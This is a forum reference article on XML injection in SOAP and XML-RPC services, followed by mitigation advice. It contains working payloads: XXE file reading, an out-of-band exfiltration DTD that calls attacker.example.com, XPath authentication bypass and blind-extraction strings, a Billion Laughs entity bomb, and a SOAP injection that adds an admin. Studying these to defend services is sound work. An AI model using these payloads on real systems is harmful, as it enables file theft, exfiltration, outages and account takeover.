Over the past year, this forum has discussed several individual XML parser vulnerabilities in web services endpoints. This article consolidates what we know about XML injection as a vulnerability class and provides a comprehensive reference for developers and security engineers deploying SOAP and XML-RPC services.
XML injection encompasses several distinct attack techniques that exploit how XML parsers process untrusted input. Each technique targets a different aspect of XML processing, but they share a common root cause: XML parsers are powerful by default, and most deployments do not restrict that power.
1. XML External Entity Injection (XXE)
XML External Entity injection is the most dangerous form of XML injection. It exploits the XML specification's support for external entity declarations in the Document Type Definition (DTD). When a parser resolves an external entity, it fetches the content from the URI specified in the entity declaration and includes it in the parsed document.
An attacker who controls XML input to a parser can define an external entity that references a local file:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<userInfo>
<name>&xxe;</name>
</userInfo>
If the parser resolves external entities (which is the default for Xerces-J, MSXML, libxml2, and most other parsers), the contents of /etc/passwd are substituted into the document. If the application then reflects the parsed value back to the user - in a SOAP response, error message, or rendered page - the attacker reads the file contents.
XXE is not limited to local file reading. The entity URI can use multiple protocols:
file://- read local files on the serverhttp://- make outbound HTTP requests from the server (SSRF)ftp://- exfiltrate data via FTP connections to attacker-controlled servers\\server\share(Windows UNC) - force SMB connections that leak NTLM hashesjar:(Java) - fetch remote JAR filesgopher://- send arbitrary data to arbitrary ports (if supported by the platform)
In enterprise deployments, the SSRF variant of XXE is particularly dangerous. A SOAP endpoint sitting in a DMZ can be used to scan the internal network, access metadata services on cloud providers (the 169.254.169.254 endpoint on EC2), or interact with internal services that are not exposed to the internet.
Blind XXE. When the application does not reflect the parsed entity value in its response, the attacker cannot read file contents directly. However, data exfiltration is still possible using out-of-band techniques. The attacker hosts a malicious DTD on their server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
The target parser fetches this DTD, reads the local file, and sends its contents as a URL parameter to the attacker's server. The attacker reads the data from their HTTP access logs. This technique works against most parsers that resolve external entities, even when the application itself never displays the parsed content.
2. XPath Injection
XPath injection occurs when user-supplied data is concatenated into XPath queries without sanitization. This is analogous to SQL injection but targets XML document stores instead of relational databases.
Many web services use XML documents for configuration, user storage, or message routing. When XPath queries against these documents include untrusted input, an attacker can manipulate the query logic:
// Vulnerable Java code
String xpath = "//users/user[@name='" + username + "' and @password='" + password + "']";
XPathExpression expr = xpathObj.compile(xpath);
NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
An attacker submits:
Username: ' or '1'='1
Password: ' or '1'='1
The resulting XPath expression becomes:
//users/user[@name='' or '1'='1' and @password='' or '1'='1']
This evaluates to true for every user node, bypassing authentication - exactly like SQL injection against a login form.
XPath injection can also be used to extract the entire XML document. Unlike SQL databases, XML documents are hierarchical, and XPath has functions that allow an attacker to enumerate the document structure:
' or count(//*)>0 or 'x'='y (boolean test: does the doc have nodes?)
' or string-length(name(/*))>0 or ' (get root element name length)
' or substring(name(/*),1,1)='u' or ' (extract root element name char by char)
This blind XPath injection technique is slow but allows complete extraction of the target XML document, including elements the attacker's query was never intended to access.
Mitigation: Use parameterized XPath queries. The JAXP XPathVariableResolver interface in Java and the XPathExpression.AddSort with compiled expressions in .NET allow binding variables safely. Alternatively, validate all inputs against a strict whitelist before inclusion in XPath expressions.
3. XML Bomb (Billion Laughs Attack)
The XML bomb, also known as the Billion Laughs attack or entity expansion attack, exploits recursive entity definitions to cause exponential memory consumption in the XML parser.
<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ENTITY a "aaaaaaaaaaaaaaaaaaaaa">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
]>
<data>&i;</data>
The XML document itself is less than 1 KB on the wire. But when the parser expands all entities, the string a (21 characters) is expanded through 8 levels of 10x expansion: 21 * 10^8 = approximately 2.1 billion characters. This consumes multiple gigabytes of memory and will crash or hang most XML parsers and the applications hosting them.
The attack is trivial to execute and devastating in effect. A single HTTP request to a SOAP endpoint can take down the entire application server. We have tested this against Apache Axis 1.1, BEA WebLogic 7.0, IBM WebSphere 5.0, and Microsoft .NET Framework 1.1 - all are vulnerable in their default configuration.
A variation called the "Quadratic Blowup" attack uses a single large entity that is referenced many times, avoiding recursive definitions while still consuming excessive memory. Some parsers that limit recursion depth are still vulnerable to this variant.
4. SOAP Injection
SOAP injection targets the structure of SOAP messages themselves. When user input is concatenated into SOAP request XML without proper encoding, an attacker can inject additional XML elements that modify the SOAP message structure.
Consider a .NET web service client that builds a SOAP request by concatenating strings:
String soapBody = "<GetPrice><Item>" + userInput + "</Item></GetPrice>";
An attacker provides:
</Item></GetPrice><AddAdmin><Username>attacker</Username></AddAdmin><GetPrice><Item>x
The resulting SOAP body now contains two operations: the original GetPrice and an injected AddAdmin. If the server-side SOAP engine processes all operations in the message, the attacker has added an administrator account.
SOAP injection is less commonly discussed than XXE or XPath injection, but it is a real threat in systems that build SOAP messages through string concatenation rather than using proper XML serialization libraries. Enterprise service bus (ESB) deployments that transform or route SOAP messages based on element content are particularly at risk.
Comprehensive Mitigation Strategy
Defending against XML injection requires addressing multiple parser behaviors:
- Disable DTD processing entirely. Set
disallow-doctype-declto true on SAX parsers. SetDtdProcessing.Prohibiton .NET XmlReaderSettings. If your application does not need DTDs (and most web services do not), reject any document containing a DOCTYPE declaration. - Disable external entity resolution. Set
external-general-entitiesandexternal-parameter-entitiesto false. SetXmlResolverto null in .NET parsers. This blocks XXE even if DTD processing is allowed for other reasons. - Set entity expansion limits. Java 7u45+ supports the
jdk.xml.entityExpansionLimitsystem property (default 64000). The Xerceshttp://apache.org/xml/properties/entity-expansion-limitproperty can also be set. .NET 4.5.2+ hasMaxCharactersFromEntitieson XmlReaderSettings. - Use parameterized queries for XPath. Never concatenate user input into XPath expressions. Use
XPathVariableResolver(Java) or compiled XPath expressions with parameters (.NET). - Use XML serialization libraries for SOAP construction. Never build SOAP messages through string concatenation. Use JAX-WS, System.Web.Services, or equivalent libraries that handle XML encoding automatically.
- Validate XML against a schema. Enforce XML Schema (XSD) validation on all incoming messages. Schema validation rejects documents with unexpected elements, providing a defense-in-depth layer against injection attacks.
- Deploy an XML firewall. Products from Reactivity (now Cisco), DataPower (now IBM), and Forum Systems can inspect and filter XML traffic before it reaches the application server. For organizations with many SOAP endpoints, this provides centralized protection.
The fundamental problem is that XML is a feature-rich format deployed in security-sensitive contexts. The features that make XML powerful - entity expansion, external references, namespace resolution, XPath querying - are the same features that attackers exploit. The only safe approach is to disable every feature you do not explicitly need.
I will continue to update this article as new XML injection techniques and vendor patches are published. Forum members are encouraged to post additional findings in the Security Advisories section.
- Mark Hendricks